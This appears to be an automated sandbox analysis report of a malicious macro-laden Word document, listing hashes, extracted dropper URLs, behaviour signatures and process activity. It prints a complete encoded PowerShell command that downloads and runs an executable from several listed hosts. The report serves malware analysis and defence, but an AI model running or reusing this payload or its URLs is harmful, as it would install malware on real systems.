Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    29-05-2024 18:40

General

  • Target

    818062b9c5654db97a9e62e596a067b8_JaffaCakes118.doc

  • Size

    234KB

  • MD5

    818062b9c5654db97a9e62e596a067b8

  • SHA1

    b85ad08de0e8806b8fca98b8d3928baf7f982a5c

  • SHA256

    fc5b2808613e062e69dcb759c97b62ae00da1088e2d530a3d0f36aa0c79e2141

  • SHA512

    21aafba1faa1fbcc8dac96191cc3c066f7441e494566a2208e817138ce47c864cc76656fda6e11c237284b1b073196f2e98f721f53b6b4c6a342779b266792c4

  • SSDEEP

    3072:gEd93LpGo0aQLomHvsHCNERonfnCuNEQIk4/91v97:gEd2V0NCNEqf2QIfJ7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://dataland-network.com/0yhPaoFo

exe.dropper

http://128.199.68.28/NUipKSNdX

exe.dropper

http://mbostagezoeken.nl/lTxOW3ais

exe.dropper

http://199.43.199.16/wp-admin/PMnENN7UR

exe.dropper

http://206.189.45.178/wp-content/uploads/aWk9ELnU

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\818062b9c5654db97a9e62e596a067b8_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
      powersheLl -e JABJADkANgA0ADAAXwBfAD0AKAAnAFEAJwArACcAOQAxAF8AJwArACcAXwA1ACcAKQA7ACQAYgBfADAAXwA3ADAAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAUAA3ADYANgAxAF8AXwA9ACgAJwBoAHQAdABwADoALwAvAGQAYQAnACsAJwB0AGEAJwArACcAbABhAG4AJwArACcAZAAnACsAJwAtACcAKwAnAG4AZQB0AHcAbwByAGsALgBjAG8AbQAvACcAKwAnADAAJwArACcAeQAnACsAJwBoAFAAYQBvAEYAbwBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AMQAnACsAJwAyADgALgAxACcAKwAnADkAOQAuACcAKwAnADYAOAAuADIAJwArACcAOAAvAE4AJwArACcAVQBpACcAKwAnAHAAJwArACcASwBTAE4AJwArACcAZAAnACsAJwBYAEAAaAB0AHQAcAA6AC8AJwArACcALwAnACsAJwBtACcAKwAnAGIAbwAnACsAJwBzAHQAJwArACcAYQBnAGUAJwArACcAegBvACcAKwAnAGUAawBlAG4AJwArACcALgBuAGwAJwArACcALwBsAFQAeABPACcAKwAnAFcAJwArACcAMwBhAGkAcwBAAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAMQA5ADkALgAnACsAJwA0ADMAJwArACcALgAxADkAJwArACcAOQAuADEANgAvAHcAcAAnACsAJwAtAGEAZABtAGkAbgAvACcAKwAnAFAAJwArACcATQBuAEUATgBOADcAVQBSACcAKwAnAEAAaAB0AHQAJwArACcAcAA6AC8ALwAyADAAJwArACcANgAuACcAKwAnADEAOAA5AC4ANAA1AC4AMQA3ADgALwB3AHAAJwArACcALQAnACsAJwBjACcAKwAnAG8AbgAnACsAJwB0ACcAKwAnAGUAJwArACcAbgB0ACcAKwAnAC8AdQBwAGwAJwArACcAbwBhAGQAcwAnACsAJwAvAGEAVwBrADkARQBMAG4AJwArACcAVQAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABkAF8AOAA1ADQAMwBfAD0AKAAnAHUAXwAnACsAJwAxACcAKwAnADEAMwA0ADMAJwApADsAJABGADgAMAA0ADMAMQAxADEAIAA9ACAAKAAnADcAJwArACcAOAA4ACcAKQA7ACQAWQBfADEAXwBfADEAMAA2AD0AKAAnAG8AXwAnACsAJwBfADEAOQA3ACcAKQA7ACQAdQBfAF8AOQBfADIAXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgA4ADAANAAzADEAMQAxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAZgAxADMAMQAzADUAOQAzACAAaQBuACAAJABQADcANgA2ADEAXwBfACkAewB0AHIAeQB7ACQAYgBfADAAXwA3ADAALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAZgAxADMAMQAzADUAOQAzACwAIAAkAHUAXwBfADkAXwAyAF8AKQA7ACQARQBfADcAOAA5ADQAXwAyAD0AKAAnAEkANQAnACsAJwBfAF8AOAA5ACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAHUAXwBfADkAXwAyAF8AKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJAB1AF8AXwA5AF8AMgBfADsAJABiAF8AOQA0ADkAXwA3ADkAPQAoACcAdwBfADYAJwArACcAMAAxADQAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AXwAyAF8AXwBfAF8APQAoACcARAAzAF8ANAA0ACcAKwAnADYAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2296

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      8382e20fb96ad32505fe4facf965fb44

      SHA1

      04600bbc503a3baaa4305b8cbc795bfaca242ef7

      SHA256

      e4f725cb39399a50659ea6653f19fdeda82caeb31a839eedc40d32d0f949d1c8

      SHA512

      199731cf0ace028ea7bf0bec56ac8bf7789ad16aa68d13511dc5ba659c1e8288f92f6b25e084732f47cbf9b48897a356eb35487d8d26f8f8fc50fc14e915f67c

    • memory/2100-62-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-97-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-39-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-110-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-167-0x000000007168D000-0x0000000071698000-memory.dmp
      Filesize

      44KB

    • memory/2100-86-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-74-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-166-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2100-133-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-2-0x000000007168D000-0x0000000071698000-memory.dmp
      Filesize

      44KB

    • memory/2100-0-0x000000002F0B1000-0x000000002F0B2000-memory.dmp
      Filesize

      4KB

    • memory/2100-145-0x000000007168D000-0x0000000071698000-memory.dmp
      Filesize

      44KB

    • memory/2100-146-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-148-0x0000000006710000-0x0000000006810000-memory.dmp
      Filesize

      1024KB

    • memory/2100-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2296-139-0x000000001B6B0000-0x000000001B992000-memory.dmp
      Filesize

      2.9MB

    • memory/2296-140-0x0000000001D20000-0x0000000001D28000-memory.dmp
      Filesize

      32KB